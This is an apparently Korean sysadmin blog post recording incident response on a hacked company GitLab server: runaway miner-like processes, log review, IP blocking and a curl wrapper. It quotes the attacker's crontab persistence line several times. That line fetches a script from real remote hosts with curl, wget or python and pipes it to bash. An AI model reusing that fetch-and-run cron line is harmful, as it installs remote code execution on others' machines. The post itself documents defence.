(포스팅 2022.05.30)
- 관련 리스트
gitlab 서버 관리 일지 - 5
gitlab 서버 관리 일지 - 4
gitlab 서버 관리 일지 - 3
gitlab 서버 관리 일지 - 2
gitlab 서버 관리 일지 - 1
- 목차
2022년 5월 23일. Gitlab이 다시 해킹됨
2022년 5월 27일. Gitlab 서버 이상. 해킹 방어.
2017회사에서는 자체적으로 gitlab 서버를 운용하고 있습니다.
서버의 관리 기록을 포스팅합니다.
이번 포스팅에서는 Gitlab 서버가 해킹된 것을 발견하고 문제를 해결하는 과정입니다.
이전 포스팅은 아래와 같습니다.
https://mycatdid0.tistory.com/36
시스템을 점유하는 프로세스 확인.
20584 git 20 0 2481820 2.316g 4728 S 400.0 7.4 14039:57 qwerty ****> 이거
8936 git 20 0 2452564 2.293g 3248 S 182.4 7.3 51:22.71 hQPjcIGD ****> 이거
26043 git 20 0 2452652 2.293g 3708 S 182.4 7.3 10027:19 rsYhybAf ****> 이거
16273 root 20 0 45664 4220 3344 R 5.9 0.0 0:00.02 top
1 root 20 0 225552 9112 6496 S 0.0 0.0 0:16.26 systemd
2 root 20 0 0 0 0 S 0.0 0.0 0:00.01 kthreadd
crontab에 해킹관련 스크립트를 확인하고 제거함.
ㅁㅁㅁㅁㅁ@ㅁㅁㅁㅁㅁ-git:~$ sudo crontab -u git -l
*/3 * * * * (curl -s 89.44.9.246/ioi||wget -q -O- 89.44.9.246/ioi||python -c 'import urllib2 as fbi;print fbi.urlopen("89.44.9.246/ioi").read()')| bash -sh
ㅇ 스크립지우고 gitlab 다시 시작함
sudo crontab -u git -r
sudo gitlab-rake gitlab:check
sudo gitlab-ctl reconfigure
sudo gitlab-ctl restart
시스템 로그인 기록 확인시 이상 없음.
aaaaa@aaaaa-git:~$ last
aaaaa pts/0 192.168.0.132 Mon May 23 09:10 still logged in
aaaaa pts/2 192.168.0.132 Fri May 20 14:13 - 17:37 (03:23)
aaaaa pts/1 192.168.0.132 Fri May 20 13:47 - 17:37 (03:49)
aaaaa pts/0 192.168.0.132 Fri May 20 13:43 - 14:53 (01:09)
aaaaa tty7 :0 Fri May 20 13:41 gone - no logout
reboot system boot 4.15.0-50-generi Fri May 20 13:41 still running
aaaaa pts/1 192.168.0.132 Fri May 20 13:32 - 13:39 (00:07)
aaaaa pts/0 192.168.0.132 Fri May 20 13:15 - 13:39 (00:23)
aaaaa tty7 :0 Fri May 20 13:14 - 13:39 (00:24)
reboot system boot 4.15.0-50-generi Fri May 20 13:14 - 13:39 (00:25)
crontab 의 로그를 확인하여 스크립트가 수정된 시점 확인
aaaaa@aaaaa-git:~/test$ grep -i cron syslog.3
....
May 21 04:30:05 aaaaa-git postfix/sendmail[17081]: fatal: open /etc/postfix/main.cf: No such file or directory
May 21 04:30:05 aaaaa-git CRON[17068]: (aaaaa) MAIL (mailed 633 bytes of output but got status 0x004b from MTA#012)
May 21 04:35:01 aaaaa-git CRON[17685]: (aaaaa) CMD (/home/aaaaa/duckdns/duck.sh)
May 21 04:35:06 aaaaa-git cron[786]: sendmail: fatal: open /etc/postfix/main.cf: No such file or directory
May 21 04:35:06 aaaaa-git postfix/sendmail[17702]: fatal: open /etc/postfix/main.cf: No such file or directory
May 21 04:35:06 aaaaa-git CRON[17684]: (aaaaa) MAIL (mailed 633 bytes of output but got status 0x004b from MTA#012)
May 21 04:38:21 aaaaa-git crontab[18264]: (git) LIST (git)
May 21 04:38:21 aaaaa-git crontab[18268]: (git) REPLACE (git) ****> 누군가가 수정을 했다.
May 21 04:38:36 aaaaa-git crontab[20722]: (git) LIST (git)
May 21 04:39:01 aaaaa-git CRON[20860]: (git) CMD ((curl -s 89.44.9.246/ioi||wget -q -O- 89.44.9.246/ioi||python -c 'import urllib2 as fbi;print fbi.urlopen("89.44.9.246/ioi").read()')| bash -sh)
May 21 04:39:03 aaaaa-git crontab[21037]: (git) LIST (git)
May 21 04:39:04 aaaaa-git crontab[21237]: (git) LIST (git)
방화벽으로 스크립트에 포함된 IP를 차단하였습니다.
aaaaa@aaaaa-git:/$ sudo crontab -u git -l
*/3 * * * * (curl -s 89.44.9.246/ioi||wget -q -O- 89.44.9.246/ioi||python -c 'import urllib2 as fbi;print fbi.urlopen("89.44.9.246/ioi").read()')| bash -sh
ㅡ> 해당 IP 차단
aaaaa@aaaaa-git:~/test$ sudo ufw deny from 89.44.9.246
규칙이 업데이트됐습니다
일전에 있던 사이트도 확인하여 차단
*/3 * * * * (curl -fsSL run.psybnc.org/ioi||wget -q -O- run.psybnc.org/ioi||python -c 'import urllib2 as fbi;print fbi.urlopen("run.psybnc.org/ioi").read()')| bash -sh
aaaaa@aaaaa-git:~$ nslookup psybnc.org
Server: 127.0.0.53
Address: 127.0.0.53#53
Non-authoritative answer:
Name: psybnc.org
Address: 88.198.63.164
Name: psybnc.org
Address: 2a01:4f8:221:430d::2
aaaaa@aaaaa-git:~$ sudo ufw deny from 88.198.63.164
규칙이 추가되었습니다
aaaaa@aaaaa-git:~$ sudo ufw status
상태: 활성
목적 동작 출발
-- -- --
Anywhere DENY 89.44.9.246
Anywhere DENY 88.198.63.164
Gitlab 서버가 다시 접속이 안되기 시작하였습니다.
이미 서버의 업그레이드까지 마친 상태이므로, 지난번 해킹당했던 흔적을 찾는 작업부터 시작하였습니다.
프로세스를 검사하여 증상을 찾음.
24967 git 20 0 2473628 2.316g 4512 S 747.1 7.4 1384:06 qwerty ****> 이거
9948 root 20 0 45672 4108 3260 R 11.8 0.0 0:00.02 top
1686 aaaaa 20 0 3685480 113752 57348 S 5.9 0.3 11:50.49 cinnamon
22119 git 20 0 1059044 461064 22004 S 5.9 1.4 2:50.70 bundle
1 root 20 0 225552 9112 6496 S 0.0 0.0 0:37.04 systemd
2 root 20 0 0 0 0 S 0.0 0.0 0:00.05 kthreadd
crontab 의 설정도 살아남을 확인
ㅁㅁㅁㅁㅁ@ㅁㅁㅁㅁㅁ-git:~$ sudo crontab -u git -l
*/3 * * * * (curl -s 89.44.9.246/ioi||wget -q -O- 89.44.9.246/ioi||python -c 'import urllib2 as fbi;print fbi.urlopen("89.44.9.246/ioi").read()')| bash -sh
방화벽 이상 없음.
ㅁㅁㅁㅁㅁ@ㅁㅁㅁㅁㅁ-git:~$ sudo ufw status
상태: 활성
목적 동작 출발
-- -- --
Anywhere DENY 89.44.9.246
Anywhere DENY 88.198.63.164
인터넷 접속되어있는 포트를 검사하여, 의심스런 주소에서의 접속을 차단하였습니다.
aaaaa@aaaaa-git:~$ netstat -at
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
((중략))
tcp 0 0 localhost:9168 localhost:33360 ESTABLISHED
tcp 0 1 aaaaa-git:49830 vmi713866.contabos:ircd SYN_SENT
tcp 0 0 aaaaa-git:58064 149.57.209.236:909 ESTABLISHED ****> 인터넷 서비스 제공업체: Sprint
tcp 0 0 localhost:9168 localhost:45988 ESTABLISHED
tcp 0 0 localhost:44458 localhost:9236 ESTABLISHED
tcp 0 0 aaaaa-git:ssh 168.138.133.156:35462 ESTABLISHED ****> 인터넷 서비스 제공업체: Oracle Cloud
tcp 0 0 localhost:45988 localhost:9168 ESTABLISHED
((중략))
aaaaa@aaaaa-git:~$ sudo ufw deny from 149.57.209.236/24
WARN: 보통화를 한 후에 규칙이 바뀌었습니다
규칙이 추가되었습니다
aaaaa@aaaaa-git:~$ sudo ufw deny from 168.138.133.156/24
WARN: 보통화를 한 후에 규칙이 바뀌었습니다
규칙이 추가되었습니다
aaaaa@aaaaa-git:~$ sudo ufw status
상태: 활성
목적 동작 출발
-- -- --
Anywhere DENY 89.44.9.246
Anywhere DENY 88.198.63.164
Anywhere DENY 149.57.209.0/24
Anywhere DENY 168.138.133.0/24
스크립트에 포함된 curl 명령에서, 특정 IP에 대하여 동작하지 않도록 하였습니다.
기존의 curl 을 별도의 파일로 변경하고, curl 스크립트를 만들어 특정 IP를 거부하도록 한다.
aaaaa@aaaaa-git:~$ whereis curl
curl: /usr/bin/curl /usr/share/man/man1/curl.1.gz
aaaaa@aaaaa-git:/usr/bin$ sudo cp curl curl_220527
aaaaa@aaaaa-git:/usr/bin$ ls -al curl*
-rwxr-xr-x 1 root root 223304 9월 6 2019 curl
-rwxr-xr-x 1 root root 223304 5월 27 15:24 curl_220527
aaaaa@aaaaa-git:/usr/bin$ cat curl
#!/bin/bash
if [[ "$2" =~ "89.44.9.246" ]]
then
exit
fi
curl_220527 $@
테스트함
aaaaa@aaaaa-git:/usr/bin$ curl -s 89.44.9.246/ioi
ㅡ> 해당 IP가 포함되면 응답 없음.
aaaaa@aaaaa-git:/usr/bin$
분석결과, 특정 파일을 사용한다는 것을 발견하여, 이 파일을 '삭제불가능한 dummy 파일'로 overwrite 하여 해킹 스크립트가 동작하지 않도록 하였습니다.
aaaaa@aaaaa-git:/tmp$ sudo rm -r -f .qwerty
aaaaa@aaaaa-git:/tmp$ echo > .qwerty
aaaaa@aaaaa-git:/tmp$ sudo chmod a-rwx .qwerty
aaaaa@aaaaa-git:/tmp$ sudo chown root:root .qwerty
aaaaa@aaaaa-git:/tmp$ sudo lsattr .qwerty
--------------e--- .qwerty
며칠 후 확인 결과, 몇개의 임시 Pipe-file을 찾을 수 있었습니다. 이들은 dummy파일에 write 하다가 실패한 흔적으로 추정됩니다.
aaaaa@aaaaas-git:/tmp$ ls -alt
합계 340
drwxrwxrwt 79 root root 20480 5월 30 12:22 .
prw-r--r-- 1 git git 0 5월 30 12:22 tmp.6dfBZtwx8b
prw-r--r-- 1 git git 0 5월 30 11:42 tmp.g9WGmvgxQh
prw-r--r-- 1 git git 0 5월 30 11:36 tmp.pijLLUHfge
prw-r--r-- 1 git git 0 5월 30 11:29 tmp.vum5htADja
prw-r--r-- 1 git git 0 5월 30 11:17 tmp.pOc6s772aw
prw-r--r-- 1 git git 0 5월 30 11:06 tmp.xQuC7ZSoPj
drwx------ 2 git git 4096 5월 30 09:42 gitaly-ruby738625740
drwx------ 2 git git 4096 5월 30 09:42 gitaly-ruby056116117
drwx------ 2 git git 4096 5월 30 09:42 gitaly-ruby148964300
drwx------ 2 git git 4096 5월 30 09:41 gitaly-ruby098665352
((중략))
포스팅은 여기까지입니다.
감사합니다.
gitlab 서버관리 일지 - 5 (0) | 2022.07.27 |
---|---|
gitlab 서버 관리 일지 - 4 (0) | 2022.07.13 |
gitlab 서버 관리 일지 - 2 (0) | 2022.05.30 |
gitlab 서버 관리 일지 - 1 (0) | 2022.05.30 |
댓글 영역